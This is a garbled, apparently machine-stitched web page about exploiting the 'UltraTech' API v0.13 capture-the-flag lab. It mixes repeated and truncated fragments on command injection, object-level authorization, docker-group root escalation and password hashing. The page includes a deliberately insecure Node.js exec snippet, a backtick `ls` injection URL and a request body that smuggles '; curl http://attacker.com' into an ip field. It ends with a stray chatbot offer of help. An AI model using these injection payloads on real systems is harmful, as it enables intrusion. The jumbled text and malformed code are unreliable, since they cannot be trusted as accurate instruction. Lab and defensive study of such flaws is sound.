Ultratech Api V013 Exploit _hot_ -

In affected systems, this request returns the full profile data of user_id=9999 rather than a 403 Forbidden error. Stage 3: Remote Code Execution (RCE)

: MD5 is obsolete for password storage. Use adaptive hashing functions such as bcrypt, Argon2, or PBKDF2 with appropriate iteration counts.

To validate the suspicion, a simple test was performed by calling the /ping endpoint manually:

The user r00t is a member of the . This is a serious misconfiguration: any user in the docker group can effectively execute commands as root on the host system. ultratech api v013 exploit

: Users discover the API version by checking the robots.txt file or performing a directory brute-force with tools like to find the directory. Bypassing Filters : In this specific lab, certain characters like might be blocked. Attackers often use ) to execute commands within the host parameter. Command Execution Payload Example : Sending a request to

: Podman and other container runtimes offer daemonless, rootless alternatives.

If the response returns the standard ping output followed by a username (e.g., www-data or node ), command injection is confirmed. Step 3: Bypassing Filters (If Applicable) In affected systems, this request returns the full

Because the input is passed directly to an execution function like child_process.exec() , malicious actors can append shell metacharacters to execute arbitrary code on the hosting operating system. 2. Broken Object Level Authorization (CWE-285)

The target machine typically hosts a web server on port 31331 and a REST API on port 8081.

const exec = require('child_process'); app.get('/api/v0.13/ping', (req, res) => let ip = req.query.ip; // Insecure concatenation of user input into a system command exec(`ping -c 1 $ip`, (error, stdout, stderr) => if (error) return res.status(500).json( error: error.message ); res.json( output: stdout ); ); ); Use code with caution. The Security Blindspot To validate the suspicion, a simple test was

POST /v013/system/diagnostics HTTP/1.1 Host: ://ultratech-local.com Content-Type: json "ip_address": "127.0.0.1; curl http://attacker.com Use code with caution. 3. Real-World Impact and Risks

http://<target_ip>:8081/ping?ip=`ls`

This unassuming version banner is the gateway to a significant security flaw.

Review how to construct secure, un-injectable system calls in your programming language of choice (e.g., Python, Node.js, Go). If you want, I can help you: